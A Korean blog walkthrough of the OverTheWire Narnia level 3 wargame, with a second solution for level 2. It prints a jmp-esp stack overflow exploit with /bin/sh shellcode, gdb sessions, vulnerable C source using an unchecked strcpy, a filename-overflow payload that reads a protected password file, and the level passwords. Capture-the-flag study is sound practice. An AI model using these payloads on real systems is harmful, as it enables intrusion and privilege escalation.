[overthewire] Narnia level3

mj·2023년 1월 27일
0
post-thumbnail

접속

ssh -p 2226 narnia3@narnia.labs.overthewire.org
pw: vaequeezee

level2 다른 풀이

(gdb) info proc map
process 13689
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /tmp/narnia3_tmp/narnia2
         0x8049000  0x804a000     0x1000        0x0 /tmp/narnia3_tmp/narnia2
        0xf7e10000 0xf7e12000     0x2000        0x0 
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0 
        0xf7fd2000 0xf7fd4000     0x2000        0x0 
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
---Type <return> to continue, or q <return> to quit---
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find /b 0xf7fc5000, 0xf7fc6000, 0xff, 0xe4
Pattern not found.
(gdb) find /b 0xf7fc3000, 0xf7fc5000, 0xff, 0xe4
0xf7fc4f97
1 pattern found.
(gdb) x/4xw 0xf7fc4f97
0xf7fc4f97:     0xfc5be4ff      0xfc5180f7      0x000000f7      0xfc5dfc00
(gdb)

0xff 0xe4 는 jmp esp이다 즉 esp로 eip를 옮기는 것이다. return address에 이 주소를 넣은 후 그 다음에 바로 shellcode를 넣으면 eip는 shellcode가 들어있는 esp를 가리키게 된다.

narnia2@narnia:/tmp/narnia2_tmp$ /narnia/narnia2 `python -c 'print "A"*132 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$ id
uid=14003(narnia3) gid=14003(narnia3) groups=14003(narnia3)
$ 

주어진 정보 확인

/narnia/ 디렉터리에서 narnia2.c파일의 내용을 확인해보자

//narnia3.c
/*
   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);

    exit(1);
}

소스 코드를 봤을 때 인자값으로 주어진 파일 내용을 읽어서 /dev/null에 복사하는 기능을 하는 것 같다.

read, write 함수에서 문자열 길이 검증을 하는 걸로 봐서, 파일 내용안에 shellcode를 사용할 수도 없을 것 같다.

파일을 여는 부분에서 strcpy(ifile, argv[1]); 구문이 있는데 이부분에서 스택 오버플로우가 발생하는 것을 확인할 수 있지만 ofile을 다른 값으로 덮어씌우면 프로그램이 종료되므로 ofile의 내용을 유지해야된다.

파일 내용을 읽어서 /dev/null파일에 복사하는 걸로 봐서 ofile을 읽을 수 있는 파일로 덮어씌운 후 인자값으로 /etc/narnia_pass/narnia4를 넘겨주면 password를 획득할 수 있을 것 같다.

필요한 정보 수집

공격하기 위해 필요한 정보는 아래와 같다.

  1. ifile과 ofile의 바이트 수

ofile에 읽고 쓸 수 있는 파일명을 정확히 넣어야되기 때문에 ifile주소부터 ofile주소사이의 바이트 값을 알아내야된다.

gdb를 통해 필요한 정보를 수집하자

narnia3@narnia:/narnia$ mkdir /tmp/narnia3_tmp/
narnia3@narnia:/narnia$ cp narnia3 /tmp/narnia3_tmp/
narnia3@narnia:/narnia$ cd /tmp/narnia3_tmp
narnia3@narnia:/tmp/narnia3_tmp$ gdb -q narnia3
Reading symbols from narnia3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804850b <+0>:     push   %ebp
   0x0804850c <+1>:     mov    %esp,%ebp
   0x0804850e <+3>:     sub    $0x58,%esp
   ~~
   0x0804854d <+66>:    mov    0xc(%ebp),%eax
   0x08048550 <+69>:    add    $0x4,%eax
   0x08048553 <+72>:    mov    (%eax),%eax
   0x08048555 <+74>:    push   %eax
   0x08048556 <+75>:    lea    -0x38(%ebp),%eax
   0x08048559 <+78>:    push   %eax
   0x0804855a <+79>:    call   0x80483a0 <strcpy@plt>
   0x0804855f <+84>:    add    $0x8,%esp
   0x08048562 <+87>:    push   $0x2
   0x08048564 <+89>:    lea    -0x18(%ebp),%eax
   0x08048567 <+92>:    push   %eax
   0x08048568 <+93>:    call   0x80483c0 <open@plt>
   ~~
   0x0804860d <+258>:   push   $0x1
   0x0804860f <+260>:   call   0x80483b0 <exit@plt>
End of assembler dump.
(gdb)

필요한 부분만 부분만 보면 strcpy부분에서 ifile의 주소를 확인할 수 있고, open부분에서 ofile주소를 확인할 수 있다.

main+79, main+93에 breakpoint를 걸고 프로그램을 실행 시키자.

(gdb) b *main+79
Breakpoint 1 at 0x804855a
(gdb) b *main+93
Breakpoint 2 at 0x8048568
(gdb) r test
Starting program: /tmp/narnia3_tmp/narnia3 test

Breakpoint 1, 0x0804855a in main ()
(gdb) x/4xw $esp
0xffffd648:     0xffffd670      0xffffd88c      0xffffffff      0xf7fc5000
(gdb) c
Continuing.

Breakpoint 2, 0x08048568 in main ()
(gdb) x/4xw $esp
0xffffd648:     0xffffd690      0x00000002      0xffffffff      0xf7fc5000
(gdb) p 0xffffd690 - 0xffffd670
$1 = 32
(gdb) 

ifile의 주소는 0xffffd670, ofile의 주소는 0xffffd690인 것을 확인할 수 있다.

  • ifile주소와 ofile 주소의 바이트 수 : 32

공격 시나리오

우리가 프로그램 실행시 지켜야될 조건은 아래와 같다.

  1. ofile에 읽고 쓸 수 있는 파일을 넣어야 한다.
  2. ifile/etc/narnia_pass/narnia4를 넣어야한다.

위 조건을 만족하기 위한 인자와 스택의 구조는 아래와 같다.

ifile(32bytes)ofilebufferebpreturn address
"/etc/narnia_pass//...//"(32byte)"./narnia4"

위 구조로 페이로드를 작성하고 exploit 해보자

공격

페이로드는 아래와 같다. (ofile에는 상대주소가 사용되므로 페이로드 실행 주소에는 항상 ./narnia4가 있어야 된다.)

/narnia/narnia3 python -c 'print "/etc/narnia_pass////////////////./narnia4"'

narnia3@narnia:/tmp/narnia3_tmp$ touch narnia4
narnia3@narnia:/tmp/narnia3_tmp$ chmod 777 narnia4
narnia3@narnia:/tmp/narnia3_tmp$ /narnia/narnia3 `python -c 'print "/etc/narnia_pass////////////////./narnia4"'`
copied contents of /etc/narnia_pass////////////////./narnia4 to a safer place... (./narnia4)
narnia3@narnia:/tmp/narnia3_tmp$ ls -al
total 296
drwxr-sr-x    2 narnia3 root   4096 Jan 28 19:21 .
drwxrws-wt 7158 root    root 278528 Jan 28 19:21 ..
-r-xr-x---    1 narnia3 root   5676 Jan 26 15:20 narnia3
-rwxrwxrwx    1 narnia3 root     31 Jan 28 19:22 narnia4
narnia3@narnia:/tmp/narnia3_tmp$ cat narnia4
thaenohtai
�(.��P��T������ narnia3@narnia:/tmp/narnia3_tmp$ 

password를 획득했다.

id: narnia4
pw: thaenohtai

profile
사는게 쉽지가 않네요

0개의 댓글